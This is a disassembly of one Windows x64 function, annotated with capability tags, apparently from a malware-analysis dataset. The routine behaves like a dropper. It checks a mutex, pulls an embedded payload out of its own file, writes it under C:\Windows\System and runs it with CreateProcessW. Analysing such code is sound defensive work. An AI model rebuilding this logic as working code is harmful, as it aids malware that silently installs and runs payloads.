Function at 0x14002add4
Capabilities:
Check mutex on windows
Create process on windows
Create process suspended
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x540
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1400b5528]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov rsi, rdx
mov r15d, ecx
lea r8, str.sfdkjjhgkdsfhgjksd
mov r12d, 1
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexW]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x14002ae71
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
jmp 0x14002b0a2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rdx, [0x1400a1ce8]
mov rcx, qword [rsi]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd r13, eax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov r9, rdi
mov r8, r13
mov rdx, r12
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [r13 + r14 - 8]
mov edx, dword [r13 + r14 - 4]
mov dword [rsp + 0x54], edx
dec ecx
mov dword [rsp + 0x58], ecx
xor ebx, ebx
mov dword [rsp + 0x50], ebx
test edx, edx
jle 0x14002b043
mov r12d, 0xfd
test ecx, ecx
js 0x14002b043
mov edx, 8
lea rcx, str.C:WindowsSystem_
call fcn.14002ad40
mov rdi, rax
lea rdx, [0x1400a1d04]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
lea ecx, [r13 - 0x100]
movsxd r8, ecx
sub r8, 8
mov r9, rax
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
movsxd rdx, r12d
lea rcx, [0x14009dfe0]
call fcn.14002ad40
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputs]
mov r9, rbx
mov edx, 4
lea r8d, [rdx - 3]
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, rbx
mov edx, 4
lea r8d, [rdx - 3]
lea rcx, [rsp + 0x54]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ebx, 0x68
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x30], ebx
xor edx, edx
lea r8d, [rbx - 0x50]
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea r8, [rax + 1]
mov rdx, rdi
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
add r12d, 0xfd
cmp eax, dword [rsp + 0x54]
jge 0x14002b043
mov ecx, dword [rsp + 0x58]
jmp 0x14002af0d
mov r8, rsi
mov edx, r15d
lea rcx, [rsp + 0x68]
call fcn.140017070
nop
lea rcx, [rsp + 0x68]
call fcn.140016f10
test eax, eax
je 0x14002b072
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.140016e50
mov ebx, eax
jmp 0x14002b096
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x58]
call fcn.140026b88
nop
lea rcx, [rbp - 0x58]
call fcn.140026d2c
mov ebx, eax
lea rcx, [rbp - 0x58]
call fcn.140026c40
nop
lea rcx, [rsp + 0x68]
call fcn.1400170b4
mov eax, ebx
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.140099bf0
mov rbx, qword [rsp + 0x590]
add rsp, 0x540
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret